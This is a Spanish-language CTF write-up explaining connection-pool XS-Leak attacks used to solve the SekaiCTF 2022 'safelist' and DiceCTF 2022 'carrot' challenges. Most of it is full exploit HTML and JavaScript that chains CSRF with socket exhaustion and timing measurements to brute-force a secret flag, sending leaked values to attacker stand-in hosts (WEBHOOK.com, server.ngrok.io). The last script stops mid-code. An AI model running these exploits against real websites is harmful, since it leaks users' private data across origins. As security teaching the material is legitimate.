En el Sekaictf2022 - lista segura desafío, @Strellic_ da un ejemplo de cómo usar una variación de la técnica de Pool de Conexiones para realizar un XS-Leak.
En este desafío, el objetivo es exfiltrar una bandera que aparecerá en la sesión web de los bots dentro de una publicación. Estos son los activos que tiene el atacante:
El botvisitará una URL dada por el atacante.
El atacante puede inyectar HTML en la página (pero no JS, se usa dompurify) abusando de un CSRF haciendo que el bot cree una publicación con ese HTML.
El atacante puede abusar de un CSRF para hacer que el botelimine la primerapublicación dentro de la web.
Debido a que las publicaciones están ordenadas alfabéticamente, cuando se elimina la primera publicación, si el contenido HTML del atacante se carga, significa que estaba alfabéticamente antes de la bandera.
Por lo tanto, para robar la bandera, la solución propuesta por @Strellyc_ es que, para cada carácter a probar, el bot:
Cree una nueva publicación que comience con la parte conocida de la bandera y varias cargas de img.
Elimine la publicación en la posición 0.
Bloquee 255 sockets.
Cargue la página con las publicaciones.
Realice 5 solicitudes aleatorias a un sitio (example.com en este caso) y mida el tiempo que esto toma.
Si la publicación eliminada era la bandera, esto significa que todas las imágenesinyectadas en el HTML van a estar compitiendo con las 5 solicitudes aleatorias por ese socket desbloqueado. Lo que significa que el tiempo medido será mayor que en el otro escenario.
Si la publicación eliminada era el HTML, las 5 solicitudes aleatorias serán más rápidas porque no necesitan competir por ese socket con el HTML inyectado.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
En este caso, el primer paso del exploit fue abusar de un CSRF para modificar la página donde se encuentra la bandera para que tenga mucho más contenido (y por lo tanto, cargarla toma más tiempo), y luego abusar del pool de conexiones para medir el tiempo que tarda en acceder a la página que podría contener la bandera.
En el exploit puedes ver:
Abusar de CSRF
Ocupar todos los sockets menos 1
Calibrar la respuesta
Comenzar a hacer bruteforce accediendo a la página potencial con la bandera
La página potencial será accedida y de inmediato se accederá a una URL controlada por el atacante para verificar cuánto tiempo tardan ambas solicitudes.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {